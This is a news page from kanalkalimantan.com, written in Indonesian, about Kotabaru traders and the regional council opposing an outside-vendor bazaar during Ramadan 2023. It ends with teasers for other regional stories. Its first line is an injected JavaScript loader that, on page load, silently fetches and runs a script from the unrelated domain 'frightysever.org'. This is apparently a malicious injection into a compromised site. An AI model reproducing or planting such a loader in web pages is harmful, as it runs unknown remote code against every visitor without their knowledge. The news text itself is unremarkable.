(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Buntut persoalan pedagang Limbur Raya yang protes adanya rencana pedagang dari luar daerah yang berjualan di kawasan Siring Laut pada saat bulan Ramadan menjadi perhatian bersama, khususnya bagi kalangan DPRD Kotabaru.
Oleh karenananya, perwakilan pedagang H Adi Sutomo menyampaikan bahwa, ia meminta agar untuk tidak dilaksanakannya kegiatan Bazar seperti berjualan pakaian, kain, sepatu dan lainnya pada saat Ramadan nanti.
“Kalau pada peringatan hari jadi Kabupaten Kotabaru silakan saja kami tidak menjadi masalah,” tegas dia.
Menyikapi hal itu, pihak DPRD melaksanakan Rapat Dengar Pendapat (RDP) yang langsung di pimpin langsung oleh Ketua DPRD Kotabaru, Syairi Mukhlis, yang dihadiri oleh berbagai pihak baik dari dinas terkait dan para pedagang, Senin (20/3/2023).
Baca juga: Tuan Guru Wildan Bersama Paman Birin Ziarah ke Makam Gus Dur
“Kepada Dinas terkait, kami mohon agar dapat mengambil kesepakatan apa yang diinginkan oleh pedagang pasar Limbur raya, dan hari ini harus ada keputusan dan kesepakatan karena ini menyangkut persoalan perut apalagi momen satu kali dalam satu tahun,” harap Syairi.
Yang jelas, lanjutnya, DPRD Kotabaru bersama pedagang menolak dilaksanakan kegiatan bazaar.
Namun kalau bazaar UMKM mereka sama sekali tidak menolak asalkan pesertanya berasal dari kecamatan yang ada di Kabupaten Kotabaru untuk menjual hasil kreatifnya.
“Hasil kesepakatan ini nantinya akan kita sampaikan ke bupati Kotabaru dan juga ke dinas terkait,” ucap dia.
Sementara Kepala Dinas Perindagkop Kabupaten Kotabaru, H Hardani menyampaikan, sebenarnya pihaknya sudah menawarkan tempat yang gratis kepada para pedagang Limbur Raya untuk berjualan di kawasan Siring Laut itu pada saat bulan Ramadan. Hanya, pedagang sepakat tidak mau.
“Apa yang menjadi keluhan mereka hari ini akan kami tampung dan kemudian akan kami sampaikan kepada Sekda untuk mengambil langkah selanjutnya,” ucap dia. (kanalkalimantan.com/muhammad)
Reporter: muhammad
Editor: Dhani
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat paripurna ke-10… Read More
KANALKALIMANTAN.COM, MARTAPURA – Merasakan langsung air yang merendam rumah warga, Tim Kanalkalimantan Peduli – Mahasiswa… Read More
KANALKALIMANTAN.COM, MARTAPURA — Banjir yang menenggelamkan wilayah Desa Sungaitabuk Keramat, Kecamatan Sungaitabuk, Kabupaten Banjar mematikan… Read More
Gubernur Kalimantan Selatan telah menetapkan Upah Minimum Provinsi tahun 2026 pada hari Rabu, 24 Desember… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas, Dodo memimpin rapat koordinasi penyelesaian tenaga non Aparatur… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar apel gabungan awal tahun 2026 bagi seluruh… Read More
This website uses cookies.